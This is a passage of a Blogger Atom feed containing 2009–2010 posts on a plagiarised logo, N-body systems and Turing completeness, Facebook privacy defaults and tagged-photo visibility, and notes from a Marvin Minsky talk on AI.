href='http://www.blogger.com/feeds/8700396122275014565/posts/default/3570574959101810274'/><link rel='alternate' type='text/html' href='http://blog.mechpoet.net/2010/01/precios-osde-binario-abril-2009.html' title='Precios OSDE Binario: Abril 2009'/><author><name>thermo</name><uri>http://www.blogger.com/profile/11421452711580282885</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_tJD3vUnZtL0/SUT9GXzKcmI/AAAAAAAAAAM/Ms6BESxVkFs/S220/cono_del_encono.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_tJD3vUnZtL0/S0Mx0ypxnhI/AAAAAAAAAKw/twWp9jBjnTQ/s72-c/Imagen041.jpg' height='72' width='72'/><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8700396122275014565.post-4047250744623080122</id><published>2010-01-05T03:52:00.000-08:00</published><updated>2010-01-05T04:12:27.732-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='opensourceinitiative'/><category scheme='http://www.blogger.com/atom/ns#' term='gym'/><category scheme='http://www.blogger.com/atom/ns#' term='comico'/><category scheme='http://www.blogger.com/atom/ns#' term='openclyb'/><category scheme='http://www.blogger.com/atom/ns#' term='logo'/><category scheme='http://www.blogger.com/atom/ns#' term='opensource'/><category scheme='http://www.blogger.com/atom/ns#' term='plagio'/><title type='text'>Logo Plagiado: Open Source Initiative</title><content type='html'>&lt;div style="text-align: justify;"&gt;Bueno continuamos con la serie de artículos sobre logos plagiados, en este caso con un descubrimiento propio. Pareciera que un gimnasio de Buenos Aires tiene un logo muy parecido al logo de la &lt;a href="http://www.opensource.org/"&gt;Open Source Initiative&lt;/a&gt;. Bueno, no iba a decir el nombre del gimnasio para no delatarlos, pero fueron tan obvios en su nombre que pareciera que hicieron una búsqueda en la web de logos posibles: &lt;a href="http://www.facebook.com/people/Openclub-Gym/1055972497"&gt;Openclub Gym&lt;/a&gt;. De cualquier manera, no creo que sea un delito a menos que sean empresas que compitan en el mismo rubro o algo así de manera que el robo del logo le quite clientes a la organización que creo el logo original. Técnicamente habría que analizar quien le copio el logo a quien pero búsquedas en Internet hacen más evidente que logo de la OSI esta disponible y el logo del OCG no lo esta saquen sus conclusiones.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://eeepc.net/wp-content/uploads/2009/04/opensource_logo.gif"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 345px;" src="http://eeepc.net/wp-content/uploads/2009/04/opensource_logo.gif" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.opensource.org/files/garland_logo.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 80px; height: 80px;" src="http://www.opensource.org/files/garland_logo.png" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_tJD3vUnZtL0/S0MpxkzFQBI/AAAAAAAAAKY/E1yjWUdcosM/s1600-h/openclub.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 233px;" src="http://1.bp.blogspot.com/_tJD3vUnZtL0/S0MpxkzFQBI/AAAAAAAAAKY/E1yjWUdcosM/s400/openclub.png" alt="" id="BLOGGER_PHOTO_ID_5423224307952467986" border="0" /&gt;&lt;/a&gt;Aca buscando "&lt;span style="font-style: italic;"&gt;open logo&lt;/span&gt;" en &lt;a href="http://images.google.com.ar/images?q=open+logo&amp;amp;btnG=Buscar+im%C3%A1genes&amp;amp;aq=f&amp;amp;oq=&amp;amp;start=0"&gt;Google Images&lt;/a&gt; aparece el logo de OSI.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_tJD3vUnZtL0/S0MrtkMCwdI/AAAAAAAAAKg/w2fxbUWobM8/s1600-h/search.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 130px;" src="http://2.bp.blogspot.com/_tJD3vUnZtL0/S0MrtkMCwdI/AAAAAAAAAKg/w2fxbUWobM8/s320/search.jpg" alt="" id="BLOGGER_PHOTO_ID_5423226438092505554" border="0" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8700396122275014565-4047250744623080122?l=blog.mechpoet.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.mechpoet.net/feeds/4047250744623080122/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://blog.mechpoet.net/2010/01/logo-plagiado-open-source-initiative.html#comment-form' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8700396122275014565/posts/default/4047250744623080122'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8700396122275014565/posts/default/4047250744623080122'/><link rel='alternate' type='text/html' href='http://blog.mechpoet.net/2010/01/logo-plagiado-open-source-initiative.html' title='Logo Plagiado: Open Source Initiative'/><author><name>thermo</name><uri>http://www.blogger.com/profile/11421452711580282885</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_tJD3vUnZtL0/SUT9GXzKcmI/AAAAAAAAAAM/Ms6BESxVkFs/S220/cono_del_encono.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_tJD3vUnZtL0/S0MpxkzFQBI/AAAAAAAAAKY/E1yjWUdcosM/s72-c/openclub.png' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8700396122275014565.post-614118969285135179</id><published>2010-01-03T12:51:00.000-08:00</published><updated>2010-01-03T13:27:21.479-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='caos'/><category scheme='http://www.blogger.com/atom/ns#' term='idea'/><category scheme='http://www.blogger.com/atom/ns#' term='turing'/><category scheme='http://www.blogger.com/atom/ns#' term='computabilidad'/><category scheme='http://www.blogger.com/atom/ns#' term='problema'/><category scheme='http://www.blogger.com/atom/ns#' term='universal'/><category scheme='http://www.blogger.com/atom/ns#' term='n-cuerpos'/><category scheme='http://www.blogger.com/atom/ns#' term='fisica'/><title type='text'>N-cuerpos Caóticos y Computabilidad [Idea]</title><content type='html'>&lt;div style="text-align: justify;"&gt;Estaba pensando y sería interesante que alguién demuestre la posibilidad de simular una máquina de Turing usando &lt;span style="font-style: italic;"&gt;N&lt;/span&gt; cuerpos siguiendo las leyes de Newton. El &lt;a href="http://en.wikipedia.org/wiki/N-body_problem"&gt;problema de los &lt;span style="font-weight: bold; font-style: italic;"&gt;N&lt;/span&gt;-cuerpos&lt;/a&gt; es sabido que no es resoluble de forma analítica para algunos casos y en estos tiene un comportamiento &lt;a href="http://es.wikipedia.org/wiki/Caos_determinista"&gt;caótico determinista&lt;/a&gt;, es decir las trayectorias  divergen de forma exponencial en base en los estados iniciales. Por otro lado están apareciendo casos muy sencillos de sistemas que son &lt;a href="http://es.wikipedia.org/wiki/Turing_completo"&gt;Turing-completos&lt;/a&gt;, es decir pueden simular cualquier máquina de Turing. Por ejemplo la &lt;a href="http://en.wikipedia.org/wiki/Wolfram%27s_2-state_3-symbol_Turing_machine"&gt;máquina de Turing (2,3)&lt;/a&gt; de Wolfram (2 estados y 3 símbolos en la cintas, posiblemente la más sencilla conocida) fue demostrada en el 2007 (con cierto debate todavía) Turing-completa. De esta manera tendríamos evidencia de que el comportamiento caótico determinística de los &lt;span style="font-style: italic;"&gt;N&lt;/span&gt;-cuerpos tiene como condición suficiente esta propiedad de computabilidad universal de las ecuaciones de Newton. No es necesario que sean infinitos cuerpos, con &lt;span style="font-style: italic;"&gt;N&lt;/span&gt;-cuerpos para una cinta de tamaño &lt;span style="font-style: italic;"&gt;C&lt;/span&gt;, con &lt;span style="font-style: italic;"&gt;N&lt;/span&gt; creciendo en forma lineal para &lt;span style="font-style: italic;"&gt;N&lt;/span&gt; creo sería suficiente.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Las ecuaciones para los &lt;span style="font-style: italic;"&gt;N&lt;/span&gt;-cuerpos son las siguientes &lt;a href="http://en.wikipedia.org/wiki/N-body_problem"&gt;[1]&lt;/a&gt;, dados como condiciones iniciales los vectores &lt;span style="font-weight: bold;"&gt;q&lt;/span&gt; de posiciones iniciales y  las derivadas de primer orden, es decir las velocidades:&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://upload.wikimedia.org/math/d/a/4/da458e8a9aa00072e29a5e794981c037.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 500px; height: 56px;" src="http://upload.wikimedia.org/math/d/a/4/da458e8a9aa00072e29a5e794981c037.png" alt="" border="0" /&gt;&lt;/a&gt;La máquina (2,3) de Wolfram tiene la siguiente tabla de transición estados para los estados internos &lt;span style="font-weight: bold;"&gt;A&lt;/span&gt; y &lt;span style="font-weight: bold;"&gt;B&lt;/span&gt;, y para los símbolos de cinta &lt;span style="font-weight: bold;"&gt;1&lt;/span&gt;, &lt;span style="font-weight: bold;"&gt;2&lt;/span&gt;, y &lt;span style="font-weight: bold;"&gt;3&lt;/span&gt; (I y D son los movimientos del cabezal de la máquina) &lt;a href="http://en.wikipedia.org/wiki/Wolfram%27s_2-state_3-symbol_Turing_machine"&gt;[2]&lt;/a&gt;:&lt;br /&gt;&lt;br /&gt;&lt;table style="text-align: left; margin-left: 0px; margin-right: 0px; width: 507px; height: 121px;" class="wikitable"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;/tr&gt;&lt;tr align="center"&gt;&lt;th width="20px"&gt;&lt;br /&gt;&lt;/th&gt; &lt;th&gt;A&lt;/th&gt; &lt;th&gt;B&lt;/th&gt; &lt;/tr&gt; &lt;tr align="center"&gt; &lt;th&gt;0&lt;/th&gt; &lt;td&gt;    P1,D,&lt;b&gt;B&lt;/b&gt;&lt;/td&gt; &lt;td&gt;    P2,I,&lt;b&gt;A&lt;/b&gt;&lt;/td&gt; &lt;/tr&gt; &lt;tr align="center"&gt; &lt;th&gt;1&lt;/th&gt; &lt;td&gt;    P2,I,&lt;b&gt;A&lt;/b&gt;&lt;/td&gt; &lt;td&gt;    P2,D,&lt;b&gt;B&lt;/b&gt;&lt;/td&gt; &lt;/tr&gt; &lt;tr align="center"&gt; &lt;th&gt;2&lt;/th&gt; &lt;td&gt;    P1,I,&lt;b&gt;A&lt;/b&gt;&lt;/td&gt; &lt;td&gt;    P0,D,&lt;b&gt;A&lt;/b&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Finalmente, vean una simulación de problema de los 3-cuerpo en un caso caótico, vean que curioso como no se puede predecir a donde van a ir los cuerpos &lt;a href="http://en.wikipedia.org/wiki/N-body_problem"&gt;[3]&lt;/a&gt;.&lt;br /&gt;&lt;/div&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://upload.wikimedia.org/wikipedia/commons/f/f9/N-body_problem_%283%29.gif"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 264px; height: 232px;" src="http://upload.wikimedia.org/wikipedia/commons/f/f9/N-body_problem_%283%29.gif" alt="" border="0" /&gt;&lt;/a&gt;Tal vez alguién ya demostró esto, y todavía no encontre la información, cualquier actualización publicó otro nano-artículo.&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;Happy Hacking!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8700396122275014565-614118969285135179?l=blog.mechpoet.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.mechpoet.net/feeds/614118969285135179/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://blog.mechpoet.net/2010/01/n-cuerpos-caoticos-y-computabilidad.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8700396122275014565/posts/default/614118969285135179'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8700396122275014565/posts/default/614118969285135179'/><link rel='alternate' type='text/html' href='http://blog.mechpoet.net/2010/01/n-cuerpos-caoticos-y-computabilidad.html' title='N-cuerpos Caóticos y Computabilidad [Idea]'/><author><name>thermo</name><uri>http://www.blogger.com/profile/11421452711580282885</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_tJD3vUnZtL0/SUT9GXzKcmI/AAAAAAAAAAM/Ms6BESxVkFs/S220/cono_del_encono.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8700396122275014565.post-787779533257753530</id><published>2009-12-10T11:18:00.000-08:00</published><updated>2009-12-10T22:08:02.213-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='1984'/><category scheme='http://www.blogger.com/atom/ns#' term='settings'/><category scheme='http://www.blogger.com/atom/ns#' term='new'/><category scheme='http://www.blogger.com/atom/ns#' term='facebook'/><category scheme='http://www.blogger.com/atom/ns#' term='bigbrother'/><category scheme='http://www.blogger.com/atom/ns#' term='privacy'/><title type='text'>New Default Facebook Privacy Settings: More Stuff Going Public</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;span style="font-style: italic;"&gt;"Meet the new privacy, the same (or worst) than the old privacy." - Unknown (2009)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;This week has been deployed the new Facebook privacy interface and the new default privacy settings. We are interested in the latter, although is useful to have privacy settings per Facebook object the default settings are the most used because these respect the minimal effort of the average user.&lt;br /&gt;&lt;br /&gt;Check this screen shot with the default settings proposed.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_tJD3vUnZtL0/SyFNCZVXu1I/AAAAAAAAAKQ/CmPzaq6lubM/s1600-h/new_privacy.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 285px;" src="http://4.bp.blogspot.com/_tJD3vUnZtL0/SyFNCZVXu1I/AAAAAAAAAKQ/CmPzaq6lubM/s400/new_privacy.png" alt="" id="BLOGGER_PHOTO_ID_5413692930631646034" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;ul style="text-align: justify;"&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;About Me:&lt;/span&gt; has gone from &lt;span style="font-style: italic; font-weight: bold;"&gt;Only Friends&lt;/span&gt; to &lt;span style="font-style: italic; font-weight: bold;"&gt;Everyone&lt;/span&gt;.&lt;/li&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;Family and Relationships:&lt;/span&gt; has gone from &lt;span style="font-style: italic; font-weight: bold;"&gt;Only Friends&lt;/span&gt; to &lt;span style="font-style: italic; font-weight: bold;"&gt;Everyone&lt;/span&gt;.&lt;/li&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;Work and Education:&lt;/span&gt; are still in &lt;span style="font-style: italic; font-weight: bold;"&gt;Everyone&lt;/span&gt;.&lt;/li&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;Posts I Create:&lt;/span&gt; has gone from &lt;span style="font-style: italic; font-weight: bold;"&gt;Only Friends&lt;/span&gt; to &lt;span style="font-style: italic; font-weight: bold;"&gt;Everyone&lt;/span&gt;.&lt;/li&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;Photos and Videos of Me:&lt;/span&gt; has gone from &lt;span style="font-style: italic; font-weight: bold;"&gt;Only Friends&lt;/span&gt; to &lt;span style="font-style: italic; font-weight: bold;"&gt;Friends of Friends&lt;/span&gt;.&lt;/li&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;Birthday:&lt;/span&gt; has gone from &lt;span style="font-style: italic; font-weight: bold;"&gt;Only Friends&lt;/span&gt; to &lt;span style="font-style: italic;"&gt;&lt;span style="font-weight: bold;"&gt;Friends of Friends&lt;/span&gt;.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;Religious and Political Views:&lt;/span&gt;&lt;span style="font-style: italic;"&gt; &lt;/span&gt;has gone from &lt;span style="font-style: italic; font-weight: bold;"&gt;Only Friends&lt;/span&gt; to &lt;span style="font-style: italic;"&gt;&lt;span style="font-weight: bold;"&gt;Friends of Friends&lt;/span&gt;.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;Email Addresses and IM:&lt;/span&gt; are still in &lt;span style="font-style: italic;"&gt;&lt;span style="font-weight: bold;"&gt;Only Friends&lt;/span&gt;.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;Phone Numbers: &lt;/span&gt;are still in &lt;span style="font-style: italic;"&gt;Only Friends.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;Address:&lt;/span&gt;&lt;span style="font-style: italic;"&gt; &lt;/span&gt;is still in &lt;span style="font-style: italic;"&gt;Only Friends.&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div style="text-align: justify;"&gt;Please comments any errors or doubts.&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8700396122275014565-787779533257753530?l=blog.mechpoet.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.mechpoet.net/feeds/787779533257753530/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://blog.mechpoet.net/2009/12/new-default-facebook-privacy-setting.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8700396122275014565/posts/default/787779533257753530'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8700396122275014565/posts/default/787779533257753530'/><link rel='alternate' type='text/html' href='http://blog.mechpoet.net/2009/12/new-default-facebook-privacy-setting.html' title='New Default Facebook Privacy Settings: More Stuff Going Public'/><author><name>thermo</name><uri>http://www.blogger.com/profile/11421452711580282885</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_tJD3vUnZtL0/SUT9GXzKcmI/AAAAAAAAAAM/Ms6BESxVkFs/S220/cono_del_encono.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_tJD3vUnZtL0/SyFNCZVXu1I/AAAAAAAAAKQ/CmPzaq6lubM/s72-c/new_privacy.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8700396122275014565.post-1614535539516821697</id><published>2009-12-09T12:05:00.000-08:00</published><updated>2010-02-10T10:48:39.367-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='ai'/><category scheme='http://www.blogger.com/atom/ns#' term='mit'/><category scheme='http://www.blogger.com/atom/ns#' term='minsky'/><category scheme='http://www.blogger.com/atom/ns#' term='intelligence.'/><category scheme='http://www.blogger.com/atom/ns#' term='artificial'/><category scheme='http://www.blogger.com/atom/ns#' term='talk'/><title type='text'>Notes from Minsky talk on Artificial Intelligence</title><content type='html'>After watching talk &lt;a href="http://mitworld.mit.edu/video/484"&gt;Emotion Machine: Commonsense Thinking, Artificial Intelligence and the Future of the Human Mind&lt;/a&gt; by &lt;a href="http://web.media.mit.edu/%7Eminsky/"&gt;Marvin Minsky&lt;/a&gt; I share my notes.&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;The talk is mostly pessimistic. He warns about a work emergency, not enough people working and we will need AI to replace human work in the next years. Now, robots work in small domains, for example in the construction of standardised objects. But there is no automation of maintenance. Little or big maintenance is not accomplish by robots because this work usually has unexpected elements. Minsky has a gloomy view of the last 20 years of AI. He calls to recall old fields of AI like &lt;a href="http://mitpress.mit.edu/catalog/item/default.asp?tid=8212&amp;amp;ttype=2"&gt;Sematic Information Processing&lt;/a&gt;. He also wants to emphasize the lecture of other books from the 60s and 70s. An example of restricted domain where AI was successful is symbolic integrals. Also algebra problems represented with natural languages have very good old solutions, hardly improved in the last years. But no commonsense knowledge is embedded in AI in these days. Human intelligence has multiple domains of knowledge in parallel: physical, social, emotional, spatial, mental, etcetera. He recommends his book: &lt;a href="http://web.media.mit.edu/%7Eminsky/eb1.html"&gt;The Emotion Machine&lt;/a&gt;. Also warns about fad techniques and research areas, some of these will go away: genetic programming, insect robots, artificial neural networks, etcetera. They work with a well defined problem, not very general. For example with genetic programming, the problem is that only remembers what succeeded. No common mistakes are learn. On the other side, culture teaches common mistakes. Memes, propagated beliefs, not genes,  include positive and negative information. Also the representation of knowledge is diverse. Minsky proposes a "Critic-Selector" model of the brain. It seems a very abstract model of the brain, including many levels, at least 6 of them. He &lt;span class="hw"&gt;emphatizes&lt;/span&gt; that you need theories of the mind before doing mental experiments with the brain. He observes that there are many &lt;span style="font-style: italic;"&gt;Ways To Think&lt;/span&gt;: analogy, planning, simplify, reformulate, simulate, etcetera. Also that there are more parts than you need in the mind, there is no Occam's Razor in psychology! Many levels and structures. Minsky talks about different types of goals, seems to static to me if you have static categories. Finally he confess he professes &lt;span style="font-style: italic;"&gt;isolationism&lt;/span&gt;, not &lt;span style="font-style: italic;"&gt;connectionism&lt;/span&gt;, the existence of isolated levels and structures, that only interact when they need to.&lt;br /&gt;&lt;br /&gt;I liked the emphasis on:&lt;br /&gt;&lt;/div&gt;&lt;ul style="text-align: justify;"&gt;&lt;li&gt;Commonsense is mostly social.&lt;/li&gt;&lt;/ul&gt;&lt;ul style="text-align: justify;"&gt;&lt;li&gt;If you can solve a problem you cry for help, social intelligence comes to rescue.&lt;/li&gt;&lt;/ul&gt;&lt;ul style="text-align: justify;"&gt;&lt;li&gt;Any machine with Minsky's Model it's "... got to learn from people.".&lt;/li&gt;&lt;/ul&gt;&lt;div style="text-align: justify;"&gt;Happy AI Hacking!&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8700396122275014565-1614535539516821697?l=blog.mechpoet.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.mechpoet.net/feeds/1614535539516821697/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://blog.mechpoet.net/2009/12/notes-from-minsky-talk-on-artificial.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8700396122275014565/posts/default/1614535539516821697'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8700396122275014565/posts/default/1614535539516821697'/><link rel='alternate' type='text/html' href='http://blog.mechpoet.net/2009/12/notes-from-minsky-talk-on-artificial.html' title='Notes from Minsky talk on Artificial Intelligence'/><author><name>thermo</name><uri>http://www.blogger.com/profile/11421452711580282885</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_tJD3vUnZtL0/SUT9GXzKcmI/AAAAAAAAAAM/Ms6BESxVkFs/S220/cono_del_encono.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8700396122275014565.post-1408113723744781477</id><published>2009-12-07T13:40:00.000-08:00</published><updated>2009-12-07T14:52:20.037-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='photo'/><category scheme='http://www.blogger.com/atom/ns#' term='tag'/><category scheme='http://www.blogger.com/atom/ns#' term='facebook'/><category scheme='http://www.blogger.com/atom/ns#' term='tagged'/><category scheme='http://www.blogger.com/atom/ns#' term='privacy'/><title type='text'>Understanding Facebook Tagged Photos Privacy</title><content type='html'>&lt;div style="text-align: justify;"&gt;We discuss how to enhance the privacy of Facebook when facing users tagging you in third-party pictures.&lt;br /&gt;&lt;br /&gt;To understand the tagged photos privacy features of Facebook we design a Facebook usage lab. Our laboratory includes three individuals who graciously volunteered to be part of the tests. &lt;a href="http://www.facebook.com/profile.php?id=100000569350770"&gt;Bob&lt;/a&gt; is in &lt;a href="http://www.facebook.com/profile.php?id=100000568780795"&gt;Alice&lt;/a&gt;'s contact list because he is her lover and &lt;a href="http://www.facebook.com/profile.php?id=100000525400782"&gt;Chuck&lt;/a&gt; is in her contact list because he is her official couple. Chuck suspects that Alice is unfaithful but he needs evidence to attract Alice into a vortex of unhappiness and sorrow.&lt;br /&gt;&lt;br /&gt;Each of the users respectively uploaded one picture: PhotoB, PhotoA and PhotoC. The critical photo is PhotoB, uploaded by Bob, where Alice is included.&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_tJD3vUnZtL0/Sx14XV3gx6I/AAAAAAAAAJ4/n9j3N5Rg5ms/s1600-h/lab.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 360px; height: 107px;" src="http://1.bp.blogspot.com/_tJD3vUnZtL0/Sx14XV3gx6I/AAAAAAAAAJ4/n9j3N5Rg5ms/s400/lab.png" alt="" id="BLOGGER_PHOTO_ID_5412614669571508130" border="0" /&gt;&lt;/a&gt;In Facebook, a user can tag photos with names. If the name belongs to a contact of the user the tag is linked to other public photos of that contact. The privacy features of tagged photos are centered around:&lt;br /&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;a) who can view the photos published by user A and&lt;br /&gt;b) who can view the photos where user B was tagged.&lt;br /&gt;&lt;br /&gt;We will discuss briefly the scenario where Bob tags Alice in his photo, with the default configuration.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_tJD3vUnZtL0/Sx146t7sWSI/AAAAAAAAAKI/_QtSbTfy9A0/s1600-h/lab2.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 187px; height: 148px;" src="http://2.bp.blogspot.com/_tJD3vUnZtL0/Sx146t7sWSI/AAAAAAAAAKI/_QtSbTfy9A0/s400/lab2.png" alt="" id="BLOGGER_PHOTO_ID_5412615277326915874" border="0" /&gt;&lt;/a&gt;&lt;code&gt;&lt;/code&gt;By default, Bob's photos are only visible by his friends, in this case Alice and not Chuck. But if Bob one day needs to share something and changes his profile privacy from "Only Friends" to "Friends of Friends" (Settings &gt; Privacy &gt; Profile &gt; Profile) then Chuck will notice in his Facebook feed that Alice was tagged in a photo owned by Bob. This is due to the default photo tagged visibility configuration of Alice, i.e. "Only Friends" allows her to view the photos where she was tagged. If Alice changes her tagged photos settings to "Only Me" (Settings &gt; Privacy &gt; Profile &gt; Photos Tagged of You &gt; Customize... &gt; Only Me) then Chuck will not see the critical PhotoB.&lt;br /&gt;&lt;br /&gt;To search for photos and test the visibility you can use "photo_search.php".&lt;br /&gt;&lt;code&gt;&lt;/code&gt;&lt;br /&gt;&lt;code&gt;http://www.facebook.com/photo_search.php?id=USER_NUMERICAL_ID&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;There you can view the photos "visible" by the user A who is logged right now. This photos can be from the user A profile, or from another user but tagged with the name of the user A whom numerical identification is &lt;span style="font-family: courier new;"&gt;USER_NUMERICAL_ID&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;Join the privacy lab via Facebook (&lt;a href="http://www.facebook.com/profile.php?id=100000568780795"&gt;Alice&lt;/a&gt;, &lt;a href="http://www.facebook.com/profile.php?id=100000569350770"&gt;Bob&lt;/a&gt; and &lt;a href="http://www.facebook.com/profile.php?id=100000525400782"&gt;Chuck&lt;/a&gt;) or the &lt;a href="http://www.facebook.com/group.php?v=wall&amp;amp;gid=361762140225"&gt;Data Privacy Army&lt;/a&gt; if you want to contribute with scenarios or comments!&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8700396122275014565-1408113723744781477?l=blog.mechpoet.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.mechpoet.net/feeds/1408113723744781477/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://blog.mechpoet.net/2009/12/understanding-facebook-tagged-photos.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8700396122275014565/posts/default/1408113723744781477'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8700396122275014565/posts/default/1408113723744781477'/><link rel='alternate' type='text/html' href='http://blog.mechpoet.net/2009/12/understanding-facebook-tagged-photos.html' title='Understanding Facebook Tagged Photos Privacy'/><author><name>thermo</name><uri>http://www.blogger.com/profile/11421452711580282885</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' 